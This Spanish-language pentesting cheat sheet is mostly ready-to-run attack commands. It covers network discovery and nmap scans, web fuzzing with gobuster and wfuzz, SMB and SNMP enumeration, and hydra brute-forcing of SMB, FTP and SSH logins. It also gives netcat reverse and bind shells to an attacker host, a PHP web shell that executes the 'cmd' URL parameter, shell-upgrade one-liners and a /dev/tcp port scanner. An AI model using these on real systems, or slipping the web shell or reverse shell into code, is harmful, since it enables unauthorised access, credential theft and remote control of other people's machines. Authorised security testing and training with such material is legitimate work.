Mediante el siguiente comando se pueden obtener rápidamente todos los hosts activos dentro de una red:
fping -a -g <1.2.3.4/24> 2>/dev/null
Se puede obtener el mismo resultado con Nmap:
nmap -sn <1.2.3.4/24>
También se puede hacer con la herramienta Netdiscover
netdiscover
Escaneo rápido que muestra las versiones:
nmap -sC -sV <host>
Escaneo con script de vulnerabilidades:
nmap -sC -sV --script vuln <host>
Escaneo agresivo solo de puertos:
nmap -p- --min-rate 5000 -T5 <host>
Detectar el sistema operativo sin hacer ping:
nmap -Pn -O <host>
Escaneo UDP:
nmap -sU -T5 -v <host>
Enumeración con Netcat
nc victima.com 80
OPTIONS / HTTP/1.0
Comprobar headers con cURL:
curl -I <host>
wpscan --url http://example.com/
Listar plugins en busca de posibles vulnerabilidades:
wpscan --url http://example.com/ --wp-content-dir /wp-content/ --plugins-detection aggressive
Path:
gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://example.com/
Fuzzing:
gobuster fuzz -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://example.com/FUZZ
Subdominios:
gobuster dns -d example.com -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Vhost:
gobuster vhost -u https://example.com -w common-vhosts.txt
wfuzz -c --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://example.com/FUZZ
Buscar ficheros:
wfuzz -c --hc=404 -z file,/usr/share/wordlists/dirb/big.txt -z file,extensions.txt http://example.com/FUZZ.FUZ2Z
Mostrar el nivel de seguridad de SMB:
nmap -p445 --script smb-security-mode <host>
Enumerar los usuarios conectados a un sistema:
nmap -p445 --script smb-enum-sessions <host>
Enumerar recursos compartidos:
nmap -p445 --script smb-enum-shares <host>
Obtener una lista de grupos del sistema:
nmap -p445 --script smb-enum-groups <host>
Mostrar información sobre los archivos compartidos en SMB:
nmap -p445 --script smb-ls <host>
Conectarse a SMB con un usuario guest
smbmap -u guest -p "" -d . -H <host>
Obtener información del sistema operativo:
enum4linux -o <host>
Obtener una lista de usuarios:
enum4linux -U <host>
Obtener credenciales por fuerza bruta:
hydra -l <user> -P <wordlist> <host> smb
Obtener credenciales por fuerza bruta:
hydra -l <user> -P <wordlist> <host> ftp
Mostrar versión de SSH:
nc <host> 22
Fuerza bruta con nmap:
nmap --script ssh-brute <host> -p22
Obtener credenciales por fuerza bruta:
hydra -l <user> -P <wordlist> <host> ssh
ip route add 1.2.3.4/24 via <router>
Atacante:
nc -l -p 8888
Víctima:
RHOST=1.2.3.4
RPORT=8888
nc -e /bin/sh $RHOST $RPORT
Víctima:
LPORT=8888
nc -l -p $LPORT -e /bin/sh
Atacante:
nc <victim_ip> 8888
El puerto 161 puede dar mucha información sobre el sistema víctima
Obtener community strings por fuerza bruta:
nmap -sU -p 161 --script snmp-brute <host>
Obtener interfaces del sistema:
nmap -sU -p 161 --script snmp-interfaces --script-args creds.snmp=public <host>
Obtener estado de la red:
nmap -sU -p 161 --script snmp-netstat --script-args creds.snmp=public <host>
Obtener procesos del sistema:
nmap -sU -p 161 --script snmp-processes --script-args creds.snmp=public <host>
Extraer información del sistema:
snmpenum <host> public linux.txt
El fichero linux.txt se puede descargar en la documentación de snmpenum
Extraer información más extensa del sistema:
snmpwalk -c public -v2c <host>
Script simple escrito en bash para facilitar la subida de archivos a un servidor ftp.
#!/bin/bash
HOST="www.host.com"
USER="user"
PASSWORD="p4ssw0rD"
FILES=$(ls *)
for i in $FILES; do
ftp -inv $HOST <<EOF
user $USER $PASSWORD
put $i
bye
EOF
done
Comando para iniciar un servidor HTTP con python en el puerto que nosotros queramos.
python2 -m SimpleHTTPServer 8888 ##### Python2
python3 -m http.server 8888 ##### Python3
Uso del comando grep para encontrar ficheros que contengan un string específico.
grep -rni '/directorio/' -e 'Texto que queramos buscar'
Para ello es necesario utilizar un pequeño script en php
## Name: script.php
<?php
$command=$_GET['cmd'];
$output = shell_exec($command);
echo "<pre>$output</pre>";
?>
Mediante esta url se pueden ejecutar los comandos desde un navegador: http://<ip>/script.php?cmd=<command>
script -c /bin/bash /dev/null
python -c 'import pty; pty.spawn("/bin/sh")'
#!/bin/bash
HOST=<host>
for port in {1..65535}; do
timeout 1 bash -c "echo >/dev/tcp/$HOST/$port" 2>/dev/null &&
echo "[*] $port is open"
done
temp-mail thispersondoesnotexist
IP Location Finder ipinfo Internet Archive ToolBox Lampyre NumLookup Yandex Google Dorks
PayloadsAllTheThings
3snake
Interactive Shell PHP